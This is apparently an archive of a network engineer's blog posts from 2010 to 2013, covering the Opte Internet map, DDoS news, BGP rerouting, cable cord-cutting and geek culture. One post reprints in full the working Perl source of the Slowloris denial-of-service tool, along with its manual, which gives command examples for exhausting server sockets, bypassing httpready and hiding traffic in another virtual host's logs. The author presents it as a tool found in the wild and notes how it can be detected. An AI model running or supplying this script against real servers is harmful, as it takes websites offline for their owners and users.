Opte and LGL 1.2

April 16th, 2013 by Barrett Lyon

It’s been several years since I have released a new “opte” image of the Internet.  I started working on the new images last week and I have run into a number of issues:

A)  LGL (large graph layout) 1.1 is outdated and needs to be fixed.  I’m currently trying to get the code to function in JRE 1.6 (for the viewer application).  I also want to create fixed points on the image for the largest networks, thus allowing me to create full motion animations of the Internet day-by-day.  I’m taking over the LGL project form its creator Alex Adai and we will be releasing LGL 1.2 very soon.

B)  The web site is outdated.  I’d like to replace the web site with a WordPress blog skin that is unique and works well.   In there I will release the entire Opte package with the updated LGL-1.2 release which should give people the ability to create their own images.

C)  I’d like to connect with some educators about the image to see if it’s possible to create some teaching curriculum for children grades k to 12.  I think children are woefully uneducated on how networking works.  Our lives are dependent on the Internet and yet we don’t teach networking basics to children.  It’s very painful for me to watch this generation grow up on trust that devices will just work.   Launching the new image will give me and whomever is interested a nice launching pad for discussions around this topic.

If you’re interested in helping at any level, please contact me.

Interesting DDoS Attack Tool Of The Week: Slowloris

April 2nd, 2013 by Barrett Lyon

I often run into interesting DDoS related items in the wild.  Rather than talking about them internally, I find it fitting to discuss them openly and publicly.

On April 2nd we found this rather interesting script floating in the wild, it’s been around since 2012 but it seems to be floating around a little more now.  The script is named Slowloris and is designed to eat up a small web server’s available sockets or its worker threads.  It’s not a new concept or attack vector but it’s interesting to see people writing scripts that attempt to exploit hard coded server limitations.

It’s cutely documented and given the fact that it has hard-coded headers makes it fairly easy to detect.  It even states, ”Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices”.

Here it is:


#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;
$SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors
print <<EOTEXT;
CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::
CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::
CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::
CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::
CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc
ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c.      .  .coOOO888OOOOCoooooccoCOOOOOCOOOO
OOOOO888\@8\@88888888Oo:. .  ...cO888Oc..          :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
COOO888\@88888888888Oo:.       .O8888C:  .oCOo.  ...cCCCOOOoooooocccooooooooCCCOO
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC
coooCCO8\@88OO8O888Oo:::... ..  :cO8Oc. . .....  :.  .:ccCoooooccoooocccccooooCCC
:ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::..  ....  ..:cooCooooccccc::::ccooCCooC
.:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC
....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
.......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
..... ............. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC
 .  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco
.  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  .........  .....:::::ccoocc
     .   .         .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
EOTEXT
my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
  'shost=s'   => \$shost,
  'dns=s'     => \$host,
  'httpready' => \$httpready,
  'num=i'     => \$connections,
  'cache'     => \$cache,
  'port=i'    => \$port,
  'https'     => \$ssl,
  'tcpto=i'   => \$tcpto,
  'test'      => \$test,
  'timeout=i' => \$timeout,
  'version'   => \$version,
);
if ($version) {
  print "Version 0.7\n";
  exit;
}
unless ($host) {
  print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
  print "\n\tType 'perldoc $0' for help with options.\n\n";
  exit;
}
unless ($port) {
  $port = 80;
  print "Defaulting to port 80.\n";
}
unless ($tcpto) {
  $tcpto = 5;
  print "Defaulting to a 5 second tcp connection timeout.\n";
}
unless ($test) {
  unless ($timeout) {
      $timeout = 100;
      print "Defaulting to a 100 second re-try timeout.\n";
  }
  unless ($connections) {
      $connections = 1000;
      print "Defaulting to 1000 connections.\n";
  }
}
my $usemultithreading = 0;
if ( $Config{usethreads} ) {
  print "Multithreading enabled.\n";
  $usemultithreading = 1;
  use threads;
  use threads::shared;
}
else {
  print "No multithreading capabilites found!\n";
  print "Slowloris will be slower than normal as a result.\n";
}
my $packetcount : shared     = 0;
my $failed : shared          = 0;
my $connectioncount : shared = 0;
srand() if ($cache);
if ($shost) {
  $sendhost = $shost;
}
else {
  $sendhost = $host;
}
if ($httpready) {
  $method = "POST";
}
else {
  $method = "GET";
}
if ($test) {
  my @times = ( "2", "30", "90", "240", "500" );
  my $totaltime = 0;
  foreach (@times) {
      $totaltime = $totaltime + $_;
  }
  $totaltime = $totaltime / 60;
  print "This test could take up to $totaltime minutes.\n";
  my $delay   = 0;
  my $working = 0;
  my $sock;
  if ($ssl) {
      if (
          $sock = new IO::Socket::SSL(
              PeerAddr => "$host",
              PeerPort => "$port",
              Timeout  => "$tcpto",
              Proto    => "tcp",
          )
        )
      {
          $working = 1;
      }
  }
  else {
      if (
          $sock = new IO::Socket::INET(
              PeerAddr => "$host",
              PeerPort => "$port",
              Timeout  => "$tcpto",
              Proto    => "tcp",
          )
        )
      {
          $working = 1;
      }
  }
  if ($working) {
      if ($cache) {
          $rand = "?" . int( rand(99999999999999) );
      }
      else {
          $rand = "";
      }
      my $primarypayload =
          "GET /$rand HTTP/1.1\r\n"
        . "Host: $sendhost\r\n"
        . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
        . "Content-Length: 42\r\n";
      if ( print $sock $primarypayload ) {
          print "Connection successful, now comes the waiting game...\n";
      }
      else {
          print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
          print "Is something wrong?\nDying.\n";
          exit;
      }
  }
  else {
      print "Uhm... I can't connect to $host:$port.\n";
      print "Is something wrong?\nDying.\n";
      exit;
  }
  for ( my $i = 0 ; $i <= $#times ; $i++ ) {
      print "Trying a $times[$i] second delay: \n";
      sleep( $times[$i] );
      if ( print $sock "X-a: b\r\n" ) {
          print "\tWorked.\n";
          $delay = $times[$i];
      }
      else {
          if ( $SIG{__WARN__} ) {
              $delay = $times[ $i - 1 ];
              last;
          }
          print "\tFailed after $times[$i] seconds.\n";
      }
  }
  if ( print $sock "Connection: Close\r\n\r\n" ) {
      print "Okay that's enough time. Slowloris closed the socket.\n";
      print "Use $delay seconds for -timeout.\n";
      exit;
  }
  else {
      print "Remote server closed socket.\n";
      print "Use $delay seconds for -timeout.\n";
      exit;
  }
  if ( $delay < 166 ) {
      print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all...  you might have trouble using Slowloris against this target.  You can
tweak the -timeout flag down to less than 10 seconds but it still may not
build the sockets in time.
EOSUCKS2BU
  }
}
else {
  print
"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";
  if ($usemultithreading) {
      domultithreading($connections);
  }
  else {
      doconnections( $connections, $usemultithreading );
  }
}
sub doconnections {
  my ( $num, $usemultithreading ) = @_;
  my ( @first, @sock, @working );
  my $failedconnections = 0;
  $working[$_] = 0 foreach ( 1 .. $num );    #initializing
  $first[$_]   = 0 foreach ( 1 .. $num );    #initializing
  while (1) {
      $failedconnections = 0;
      print "\t\tBuilding sockets.\n";
      foreach my $z ( 1 .. $num ) {
          if ( $working[$z] == 0 ) {
              if ($ssl) {
                  if (
                      $sock[$z] = new IO::Socket::SSL(
                          PeerAddr => "$host",
                          PeerPort => "$port",
                          Timeout  => "$tcpto",
                          Proto    => "tcp",
                      )
                    )
                  {
                      $working[$z] = 1;
                  }
                  else {
                      $working[$z] = 0;
                  }
              }
              else {
                  if (
                      $sock[$z] = new IO::Socket::INET(
                          PeerAddr => "$host",
                          PeerPort => "$port",
                          Timeout  => "$tcpto",
                          Proto    => "tcp",
                      )
                    )
                  {
                      $working[$z] = 1;
                      $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
                  }
                  else {
                      $working[$z] = 0;
                  }
              }
              if ( $working[$z] == 1 ) {
                  if ($cache) {
                      $rand = "?" . int( rand(99999999999999) );
                  }
                  else {
                      $rand = "";
                  }
                  my $primarypayload =
                      "$method /$rand HTTP/1.1\r\n"
                    . "Host: $sendhost\r\n"
                    . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
                    . "Content-Length: 42\r\n";
                  my $handle = $sock[$z];
                  if ($handle) {
                      print $handle "$primarypayload";
                      if ( $SIG{__WARN__} ) {
                          $working[$z] = 0;
                          close $handle;
                          $failed++;
                          $failedconnections++;
                      }
                      else {
                          $packetcount++;
                          $working[$z] = 1;
                      }
                  }
                  else {
                      $working[$z] = 0;
                      $failed++;
                      $failedconnections++;
                  }
              }
              else {
                  $working[$z] = 0;
                  $failed++;
                  $failedconnections++;
              }
          }
      }
      print "\t\tSending data.\n";
      foreach my $z ( 1 .. $num ) {
          if ( $working[$z] == 1 ) {
              if ( $sock[$z] ) {
                  my $handle = $sock[$z];
                  if ( print $handle "X-a: b\r\n" ) {
                      $working[$z] = 1;
                      $packetcount++;
                  }
                  else {
                      $working[$z] = 0;
                      #debugging info
                      $failed++;
                      $failedconnections++;
                  }
              }
              else {
                  $working[$z] = 0;
                  #debugging info
                  $failed++;
                  $failedconnections++;
              }
          }
      }
      print
"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
      sleep($timeout);
  }
}
sub domultithreading {
  my ($num) = @_;
  my @thrs;
  my $i                    = 0;
  my $connectionsperthread = 50;
  while ( $i < $num ) {
      $thrs[$i] =
        threads->create( \&doconnections, $connectionsperthread, 1 );
      $i += $connectionsperthread;
  }
  my @threadslist = threads->list();
  while ( $#threadslist > 0 ) {
      $failed = 0;
  }
}
__END__
=head1 TITLE
Slowloris
=head1 VERSION
Version 0.7 Beta
=head1 DATE
06/17/2009
=head1 AUTHOR
RSnake <h@ckers.org> with threading from John Kinsella
=head1 ABSTRACT
Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service.  It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively.  It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.
=head1 AFFECTS
Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?
=head1 NOT AFFECTED
IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?
=head1 DESCRIPTION
Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data.  Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts.  There is an added function to help you get started with finding the right sized timeouts as well.
As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances.  Think of Slowloris as the HTTP equivalent of a SYN flood.
=head2 Testing
If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:
=head3 Testing Example:
./slowloris.pl -dns www.example.com -port 80 -test
This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for.  If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).
=head2 HTTP DoS
Once you find a timeout window, you can tune Slowloris to use certain timeout windows.  For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision.  The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful.  Slowloris has no way to identify if it's successful or not though.
=head3 HTTP DoS Example:
./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5
=head2 HTTPReady Bypass
HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch.
=head3 HTTPReady Bypass Example
./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready
=head2 Stealth Host DoS
If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable.  This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.
=head3 Stealth Host DoS Example:
./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com
=head2 HTTPS DoS
Slowloris does support SSL/TLS on an experimental basis with the -https switch.  The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development.  Your mileage may vary.
=head3 HTTPS DoS Example:
./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https
=head2 HTTP Cache
Slowloris does support cache avoidance on an experimental basis with the -cache switch.  Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources.  The usefulness of this particular option has not been thoroughly tested.  Your mileage may vary.
=head3 HTTP Cache Example:
./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache
=head1 Issues
Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation.  They may be ways around this, but not in this version at this time.  Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.
Slowloris isn't completely quiet either, because it can't be.  Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder).  So it's not invisible if the traffic to the site is typically fairly low.  On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.
For some reason Slowloris works way better if run from a *Nix box than from Windows.  I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number.  If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems.  Either way, this program seems to work best if run from FreeBSD.
Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors.  So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another.  You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.
=head1 What is a slow loris?
What exactly is a slow loris?  It's an extremely cute but endangered mammal that happens to also be poisonous.  Check this out:
http://www.youtube.com/watch?v=rLdQ3UhLoD4

 

The 300 Gbps DDoS Attack?

April 1st, 2013 by Barrett Lyon

On March 19th CloudFlare reported dealing with a DDoS attack for one of their customers ranging from 10 Gbps to 120 Gbps. They eventually wrote a blog post titled, “The DDoS That Almost Broke the Internet”. The New York Times wrote an article, calling the attack directed at one of CloudFlare’s customers “one of the largest computer attacks on the Internet, causing widespread congestion and jamming crucial infrastructure around the world.” The New York Time’s article states that the attack was in the size 300 billion bits per second (300 Gbps). Akamai employee Patrick Gilmore then backed the number by saying, “It is a real number,” Mr. Gilmore said. “It is the largest publicly announced DDoS attack in the history of the Internet.”

Yet, CloudFlare never actually saw the 300Gbps attack, they only saw about 120 Gbps (at the peak) of the advertised Godzilla attack. Where did the other 180Gbps go? CloudFlare’s CEO wrote, “While we don’t have direct visibility into the traffic loads they saw, we have been told by one major Tier 1 provider that they saw more than 300Gbps of attack traffic related to this attack. That would make this attack one of the largest ever reported.”

Okay, so one of their “Tier 1” providers is reporting 300Gbps of attack traffic that ended up on their network. Who was that Tier 1 provider? Apparently it was a Tier 2 provider called GTT. Not AT&T, not Level 3, not Tata Communications, but a little known network called GTT. Richard Steenbergen, GTT’s network engineer wrote a open letter (http://cluepon.net/ras/gizmodo) and stated, “First off I can confirm a few basic facts, namely that we really did receive a ~300 Gbps attack directed at Cloudflare, and later specifically targeted at pieces of our core infrastructure.” I know Richard, and he’s a smart guy, maybe one of the smartest network guys I know, but he provided no data to back his statement. Reporters need to check facts don’t they?

If I were a betting guy I would bet that Steenbergen did in fact filter 180 Gbps of traffic on behalf of CloudFlare. That’s a good chunk of traffic but by no means is it insane or the end of the Internet. Large attacks happen all the time and Tier 1 networks filter huge chunks of traffic constantly. I guess that’s why Patrick Gilmore called it the “largest ever reported [attack]”.

Very few users would have noticed if it were not of the sensational reporting and poor fact checking on behalf of the New York Times.

I finally ditched Cable TV! It was easy!

August 22nd, 2012 by Barrett Lyon
Pre-Netflix, pre-YouTube, pre-flash video, pre-iTunes video… I wanted to see a world where the Internet powered home entertainment.  Internet based “TV” should be easy to pay for, and easy to enjoy, and have better options than the cable’s “500 channels of nothing to watch”.  I started an Internet streaming company called BitGravity in 2005 to help achieve these goals and nearly seven years later… Streaming services on the Internet have finally surpassed my viewing experience on Cable TV and I finally cancelled my cable TV.

Content Delivery Networks like BitGravity, Akamai, LimeLight, and Level3 have done their job getting the cost of delivery down and delivery quality up.  Companies such as Netflix, Hulu, and Amazon have done a great job getting mainstream content unlocked from old licensing paradigms. As a result: With an Apple TV or a Roku… The Internet now can provide a superior viewing experience than Cable TV.

Cutting my cable TV provided a few interesting side effects:

 

  • Our power bill dropped by about $40 per month.  6 cable boxes all running with hard disk drives, power supplies, and CPUs cost about 40 bucks to operate monthly — that’s all gone.
  • The space around the TV is less cluttered and cleaned up, I have no idea why those old cable boxes are so big and ugly.
  • I ended up saving about $140/month in service fees, electricity, and hardware rentals.  I used about $40 of that to upgrade my existing cable Internet service with an overall savings of over $100/mo.
  • Unlike cable TV, streaming services are portable; when you are away from home you don’t pay any additional fees to have access to your content.

There are downfalls:  Live video on the Internet has not caught up with video on demand.  As a result sports fans will be missing out on the content they love – live sports.  At BitGravity I started a project called BGLive, which is a highly scalable live streaming platform… It’s still available and BitGravity has streamed a lot of live content, however, in my opinion live streaming technology on the Internet is still very incomplete and infantile.  There are a number of technology hurtles that are missing on the BGLive and other streaming platforms and if they ever get solved — Live streaming could create the final death blow to bundled cable TV services.

To wrap it up, if you’re not much of a sports fan… Just buy yourself an Apple TV or a Roku and don’t look back.

 

Wait, Glenn’s Having A Second On Mars?

August 14th, 2012 by Barrett Lyon

I’m back on Toasted Donut! David and I had a great conversation about Glenn, the mars rover, and other odd facts.

Toasted Donut : Hacking Passwords & Exploits!

August 14th, 2012 by Barrett Lyon

My first appearance on Toasted Donut! I came by David Prager’s place to visit for the afternoon and they invited me on their show. It was pretty fun and I am now a regular. I’m not sure if I am going to be on most of the shows but it’s a great excuse to talk about technology and hang out with my friends!

“Splinternet” is marketing bullshit!

March 23rd, 2011 by Barrett Lyon
After reading a lot of marketing hype on the concept that the Internet is falling apart and becoming a “splinternet”, I have to respond:

The Internet is not just simple access to web sites, it’s not your ability to use Skype on your AT&T smart phone, and it’s not IPv4 and IPv6. It simply is a network of networks that use a common underlying protocol (TCP/IP). The web is simply one of thousands and thousands of other applications that use their own protocols over IP. To some the Internet may simply be email, others chat. Even TCP/IP can be (and is) often filtered, yet it’s still a network of networks.

What a country, corporation, or network decides to do with the way their networks function is really up to the policy of that network owner and the majority of its users. It always has been that way. Fourteen or fifteen years ago corporate America figured out that they can control what their users see and do, governments figured it out, and so did network providers.

I’m not an advocate of network filtration, control, and restrictions — it’s repugnant. However, how a society polices itself is up to that society and does not dictate that the Internet is broken.

In recent tweets I have seen companies push their products with comments such as, “How we broke the good old Internet, and why 90′s were simply better.” The link goes to their blog then shows how they fix the broken Internet. Marketing people, I don’t know if you remember but in the 90’s we had AOL and Prodigy and if anything resembled a “broke” Internet, it was that! Oh yeah… and broadband was measured in Kbps not Mbps or Gbps. Internet today is functioning fine, we may have a concentration of users on apps like Facebook and Twitter, yet the entire protocol stack is still available and by no means has the Internet fractured or splintered so badly that it is broken.

If anything we may have outgrown a 30-year-old protocol that resembles a 1970′s used Cessna aircraft that has duct tape holding on parts of its interior, but just like the 70′s Cessna the Internet still works and does what it was built to do.

I’ll accept a term like Splinternet when there really is a network that’s unique and separated from the Internet for public consumption. Maybe it is time a for a bunch of people to organize a world wide wireless network that cuts out all corporations and really have it splinter off the Internet. However, I would rather hear that called the Alternet (for nostalgic reasons) than a Splinternet. Yet, eventually this alternative network will join with the Internet and it will basically be… The Internet all over again.

P.S. stormdriver.com can you please fix the credits on the image you are using. I have no idea who Matt Britt is but I made the image you are using for your marketing purposes. The original image is here

Hey AT&T customers: Your Facebook data went to China and S. Korea this morning…

March 22nd, 2011 by Barrett Lyon
Quietly this morning customers of AT&T browsing Facebook did so by way of China then Korea. Typically AT&T customers’ data would have routed over the AT&T network directly to Facebook’s network provider but due to a routing mistake their private data went first to Chinanet then via Chinanet to SK Broadband in South Korea, then to Facebook. This means that anything you looked at via Facebook without encryption was exposed to anyone operating Chinanet, which has a very suspect Modus operandi.

This morning’s route to Facebook from AT&T:

route-server>show ip bgp 69.171.224.13 (Facebook's www IP address)
BGP routing table entry for 69.171.224.0/20, version 32605349
Paths: (18 available, best #6, table Default-IP-Routing-Table)
Not advertised to any peer
7018 4134 9318 32934 32934 32934

The AS path (routing path) translates to this:

  1. AT&T (AS7018)
  2. Chinanet (Data in China AS4134)
  3. SK Broadband (Data in South Korea AS9318)
  4. Facebook (Data back to US 32934)

Current route to Facebook via AT&T:

route-server>sho ip bgp 69.171.224.0/20
BGP routing table entry for 69.171.224.0/20, version 32743195
Paths: (18 available, best #6, table Default-IP-Routing-Table)
Not advertised to any peer
7018 3356 32934 32934, (received & used)

Translated: Your data goes from AT&T’s network to US based Level3 Communications to Facebook’s servers.

What could have happened with your data? Most likely absolutely nothing. Yet, China is well known for it’s harmful networking practices by limiting network functionality and spying on its users, and when your data is flowing over their network, your data could be treated as any Chineese citizens’. Does that include capturing your session ID information, personal information, emails, photos, chat conversations, mappings to your friends and family, etc? One could only speculate, however it’s possible.

This brings up a lot of questions:

  • Should Facebook and or AT&T have notified their customers that their personal information was flowing over a network that they may not trust?
  • Should Facebook enable SSL on all accounts by default?
  • Was this actually a privacy breach or just the way the Internet functions?
  • Does Facebook have an ethical responsibility to buy additional IP connectivity to major broadband and mobile networks to prevent routing mishaps?
  • Is it time to focus on new options within BGP to prevent high profile sites from routing to non-authenticated networks?

This happens all the time — the Internet is just not a trusted network. Yet, I prefer to know that when I am on AT&T’s network, going to US located sites, my packets are not accidentally leaving the country and being subject to another nation’s policies. I guess that’s why you should not use Facebook in “bareback” mode and use HTTPS (SSL) any time you can.

Food for thought.

Thanks to Tom Scholl for the head’s up and thoughtful commentary on this subject.

Reclaiming Geek Culture

March 7th, 2011 by Barrett Lyon



When I started using computers as a little kid, it was all-inclusive; if you were interested, you were in the club. Eventually, communities were built around things like Bulletin Board Systems (BBS) that were places for getting email, downloading files, chatting with other people, and playing games.

The BBS operators wrote code and spent time designing a culture for their systems or communities. In the Northern California Foothills, we had what we called an MUPT meeting once a month. At our Modem User Pizza Thingy, we shared ideas, talked about communication, and generally were stupid, geeky nerds; and we loved it! I was too young to drive to the meeting so I had to be dropped off. Yet, that did not seem to matter to anyone. It was a blast and laid the foundation for my love of geek culture in motion and was ground zero for Northern California’s geek culture.

The BBS culture carried into the Internet and, wow, that’s where things got interesting. There was so much to learn, so much to do, so much more to talk about. Nothing was set in stone, there were no rules or regulations, and the only best common practices we could find were from the military. It was a free-for-all learning fest and that original MUPT/BBS culture remained intact. It was essentially the early days of online community building at its best.

Now, nearly 15 years have gone by and I have watched these groups of people that I deeply respect get older. Networking technology has aged with us and that original, youthful excitement has started to die. No longer is sharing considered a good thing. If you ask a “dumb” question on a large forum, you’re going to be flamed by some snarky person. This new culture has become one more akin to a “club” for only certain people and seems to be exclusive rather than inclusive like the geek culture I remember. Why is it that there are people that spend half of their day writing snide replies to prove that they are somehow smarter than the original poster?

It’s funny, as I was writing this post, I stumbled upon the Patton Oswalt article in Wired “Wake Up Geek Culture, Time to Die.” He had me in the first few sentences, particularly his phrase: “back when nerd meant something.” But, Oswalt experienced this more from a dedication to film and music, whereas I was devouring technology. Oswalt calls it an obsessive interest that led to deep knowledge and produced new artists. He points out that this innovation is missing today. We are just repurposing, manipulating past innovations.

Is this new culture the result or the reason for dwindling innovation?

Think about it; IPv4 has pretty much been mastered by the packet slingers that have learned everything there is to know about routing, load balancing, and networking. New technologies are faster and better, but are they new? The lack of interest in gathering, sharing in an “obsessive interest” manner, is creating an anti-geek culture.

All that said, I continue to choose to work in a start-up environment because I think it is one of the few remaining cultures that is working to foster innovation. It’s a place for creating and sharing new technologies to inspire. New ideas are new possibilities, and challenging the accepted is met with openness and consideration instead of arrogance or criticism. It feels brilliantly similar to the “old days.”

And if geek culture has gone to the trolls, then maybe it’s time we reclaimed it and restored it to its former glory. Being a true geek among peers requires comfort, trust, and the ability to be wrong, awkward, stupid, brilliant, genius, nerdy, and “out there” without ridicule – and for that, I salute my geeks!

Anonymous IRC Logs: A Moment in Time

December 16th, 2010 by Barrett Lyon

The DDoS attacks against VISA and Mastercard (among others) were mostly symbolic and were executed by a group called The Anonymous. The group itself is comprised of anyone that wants to join; such loose membership requirements attracts a huge assortment of people. These attacks made by The Anonymous were the first Cyber Protests I have seen executed largely by non-techies. The average person was unaware of this, only hearing about the results of the attacks via pundits on the news. Typically, during a protest, photojournalists are able to capture the moment, showing the huge crowd in front of the White House or angry mobs of people with signs in Greek protesting against government austerity. In this case, (unless you know how to use IRC) it was quiet and invisible — a few web sites simply stopped working.

However, it was not quiet or invisible. There were some 10,000 angry people online with digital voices working towards the same goal. I logged (as many people did) their IRC servers and their public channels. I took those logs and put them into a browser format that anyone can read. What you see in these logs is a captured moment in time; it’s a captured moment of that protest. It is really the only visual representation of the passion of these thousands of Cyber Protestors.

The log represents about 30 hours of irc.anonops.net and are by no means complete. It’s a view into the protests of the future that don’t have lines drawn across tangible borders.

To directly access the full page log, you can visit http://blyon.com/Irc